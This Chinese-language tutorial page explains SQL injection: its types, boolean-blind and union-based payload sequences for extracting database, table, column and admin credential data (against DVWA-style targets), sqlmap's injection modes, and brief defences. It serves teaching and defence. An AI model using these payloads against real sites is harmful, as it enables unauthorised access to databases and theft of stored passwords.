| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> 基础漏洞:SQL注入漏洞 -> 正文阅读 |
|
[大数据]基础漏洞:SQL注入漏洞 |
SQL注入简介定义:SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。 原理:将用户的输入插入到SQL语句中,用户的输入被当做代码执行 SQL注入分类1、参数类型分类(1)数字型注入: 类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字。 select * from 表名 where id=1 and 1=1 (2)字符型注入: 类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。 select * from 表名 where name='admin' and 1=1 ' 两者最大的区别:字符型注入一般要使用单引号进行闭合,而数字型注入则不需要; 2、数据提交方式分类(1)GET 注入 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。 (2)POST 注入 使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。 (3)Cookie 注入 HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。 (4)HTTP 头部注入 注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。 3、注入手法分类基于布尔的盲注 布尔型盲注步骤和语句 1.判断当前数据库名长度与数据库名称 and select length(database())>n //判断数据库名长度 and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值 2.判断数据库的表长度与表名 and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度 and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少 3.判断数据库的字段名长度与字段名称 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度 adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值 4.判断字段的内容长度与内容字符串 and length((select user from users limit 0,1)) >1 //判断字符串内容长度 and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值 时间盲注 基于时间的SQL盲注入方式通常是在SQL语句中添加延时函数,依据相应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep、repeat等。 联合查询注入 1.判断是否存在注入点 and 1=1 --+ and 1=2 --+ 2.判断所在的数据库有几列 'order by 1 # 3.判断他显示的内容在数据库的第几列 union select 1 # 4.查找当前用户权限 union select user() # 5.查找当前数据库 union select database() # 6.查找数据库的表名 union select (select table_name from information_schema.tables where table_schema='grade' limit 0,1) # 7.查询数据库中表下的字段 union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins')# 8.查询数据库下字段中的内容。 union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)# 报错注入
漏洞工具:sqlmap它支持五种注入模式 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 4、联合查询注入,可以使用union的情况下的注入。 5、堆查询注入,可以同时执行多条语句的执行时的注入。 sqlmap命令Options
Target
Request
Optimization
Injection
Detection
Techniques
Enumeration
它支持的数据库 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB 防御使用参数化筛选语句 采用sql语句预编译和绑定变量 通过正则表达校验用户输入 检查数据类型 使用安全函数 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 14:35:43- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |